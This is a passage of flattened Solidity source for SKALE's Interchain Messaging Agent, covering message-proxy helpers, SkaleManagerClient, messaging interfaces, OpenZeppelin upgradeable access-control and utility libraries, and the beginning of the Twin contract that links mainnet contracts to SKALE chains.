return connectedChains[dstChainHash].outgoingMessageCounter;
}
/**
* @dev Returns number of incoming messages from some schain
*
* Requirements:
*
* - `fromSchainName` must be initialized.
*/
function getIncomingMessagesCounter(string calldata fromSchainName)
external
view
returns (uint256)
{
bytes32 srcChainHash = keccak256(abi.encodePacked(fromSchainName));
require(connectedChains[srcChainHash].inited, "Source chain is not initialized");
return connectedChains[srcChainHash].incomingMessageCounter;
}
// private
function _addConnectedChain(bytes32 schainHash) internal onlyChainConnector {
require(!connectedChains[schainHash].inited,"Chain is already connected");
connectedChains[schainHash] = ConnectedChainInfo({
incomingMessageCounter: 0,
outgoingMessageCounter: 0,
inited: true
});
}
function _callReceiverContract(
bytes32 schainHash,
Message calldata message,
uint counter
)
internal
returns (address)
{
try IMessageReceiver(message.destinationContract).postMessage{gas: gasLimit}(
schainHash,
message.sender,
message.data
) returns (address receiver) {
return receiver;
} catch Error(string memory reason) {
emit PostMessageError(
counter,
bytes(reason)
);
return address(0);
} catch (bytes memory revertData) {
emit PostMessageError(
counter,
revertData
);
return address(0);
}
}
function _registerExtraContract(
bytes32 chainHash,
address extraContract
)
internal
{
require(extraContract.isContract(), "Given address is not a contract");
require(!registryContracts[chainHash][extraContract], "Extra contract is already registered");
require(!registryContracts[bytes32(0)][extraContract], "Extra contract is already registered for all chains");
registryContracts[chainHash][extraContract] = true;
}
function _removeExtraContract(
bytes32 chainHash,
address extraContract
)
internal
{
require(registryContracts[chainHash][extraContract], "Extra contract is not registered");
delete registryContracts[chainHash][extraContract];
}
function _getGasPayer(
bytes32 schainHash,
Message calldata message,
uint counter
)
internal
returns (address)
{
try IGasReimbursable(message.destinationContract).gasPayer{gas: gasLimit}(
schainHash,
message.sender,
message.data
) returns (address receiver) {
return receiver;
} catch Error(string memory reason) {
emit PostMessageError(
counter,
bytes(reason)
);
return address(0);
} catch (bytes memory revertData) {
emit PostMessageError(
counter,
revertData
);
return address(0);
}
}
/**
* @dev Returns hash of message array.
*/
function _hashedArray(Message[] calldata messages) internal pure returns (bytes32) {
bytes memory data;
for (uint256 i = 0; i < messages.length; i++) {
data = abi.encodePacked(
data,
bytes32(bytes20(messages[i].sender)),
bytes32(bytes20(messages[i].destinationContract)),
messages[i].data
);
}
return keccak256(data);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* SkaleManagerClient.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Artem Payvin
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol";
import "@skalenetwork/skale-manager-interfaces/IContractManager.sol";
import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol";
/**
* @title SkaleManagerClient - contract that knows ContractManager
* and makes calls to SkaleManager contracts
* @author Artem Payvin
* @author Dmytro Stebaiev
*/
contract SkaleManagerClient is Initializable, AccessControlEnumerableUpgradeable {
IContractManager public contractManagerOfSkaleManager;
modifier onlySchainOwner(string memory schainName) {
require(
isSchainOwner(msg.sender, keccak256(abi.encodePacked(schainName))),
"Sender is not an Schain owner"
);
_;
}
/**
* @dev Checks whether sender is owner of SKALE chain
*/
function isSchainOwner(address sender, bytes32 schainHash) public view returns (bool) {
address skaleChainsInternal = contractManagerOfSkaleManager.getContract("SchainsInternal");
return ISchainsInternal(skaleChainsInternal).isOwnerAddress(sender, schainHash);
}
/**
* @dev initialize - sets current address of ContractManager of SkaleManager
* @param newContractManagerOfSkaleManager - current address of ContractManager of SkaleManager
*/
function initialize(
IContractManager newContractManagerOfSkaleManager
)
public
virtual
initializer
{
AccessControlEnumerableUpgradeable.__AccessControlEnumerable_init();
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
contractManagerOfSkaleManager = newContractManagerOfSkaleManager;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./AccessControlUpgradeable.sol";
import "../utils/structs/EnumerableSetUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerableUpgradeable {
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable {
function __AccessControlEnumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
}
function __AccessControlEnumerable_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* IMessageReceiver.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Dmytro Stebaiev
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
interface IMessageReceiver {
function postMessage(
bytes32 schainHash,
address sender,
bytes calldata data
)
external
returns (address);
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* IGasReimbursable.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Artem Payvin
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "./IMessageReceiver.sol";
interface IGasReimbursable is IMessageReceiver {
function gasPayer(
bytes32 schainHash,
address sender,
bytes calldata data
)
external
returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IContractManager.sol - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IContractManager {
function setContractsAddress(string calldata contractsName, address newContractsAddress) external;
function getContract(string calldata name) external view returns (address);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISchainsInternal - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface ISchainsInternal {
function isNodeAddressesInGroup(bytes32 schainId, address sender) external view returns (bool);
function isOwnerAddress(address from, bytes32 schainId) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* Twin.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Artem Payvin
* @author Dmytro Stebaiev
* @author Vadim Yavorsky
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "./MessageProxyForMainnet.sol";
import "./SkaleManagerClient.sol";
abstract contract Twin is SkaleManagerClient {
MessageProxyForMainnet public messageProxy;
mapping(bytes32 => address) public schainLinks;
bytes32 public constant LINKER_ROLE = keccak256("LINKER_ROLE");
modifier onlyMessageProxy() {
require(msg.sender == address(messageProxy), "Sender is not a MessageProxy");
_;
}
/**
* @dev Binds a contract on mainnet with his twin on schain
*
* Requirements:
*
* - `msg.sender` must be schain owner or has required role.
* - SKALE chain must not already be added.
* - Address of contract on schain must be non-zero.
*/
function addSchainContract(string calldata schainName, address contractReceiver) external {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(
hasRole(LINKER_ROLE, msg.sender) ||
isSchainOwner(msg.sender, schainHash), "Not authorized caller"
);
require(schainLinks[schainHash] == address(0), "SKALE chain is already set");
require(contractReceiver != address(0), "Incorrect address of contract receiver on Schain");
schainLinks[schainHash] = contractReceiver;
}
/**
* @dev Removes connection with contract on schain
*
* Requirements:
*
* - `msg.sender` must be schain owner or has required role
* - SKALE chain must already be set.
*/
function removeSchainContract(string calldata schainName) external {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(
hasRole(LINKER_ROLE, msg.sender) ||
isSchainOwner(msg.sender, schainHash), "Not authorized caller"
);
require(schainLinks[schainHash] != address(0), "SKALE chain is not set");
delete schainLinks[schainHash];
}
function hasSchainContract(string calldata schainName) external view returns (bool) {
return schainLinks[keccak256(abi.encodePacked(schainName))] != address(0);
}
function initialize(
IContractManager contractManagerOfSkaleManagerValue,
MessageProxyForMainnet newMessageProxy
)
public
virtual
initializer
{
SkaleManagerClient.initialize(contractManagerOfSkaleManagerValue);
messageProxy = newMessageProxy;
}
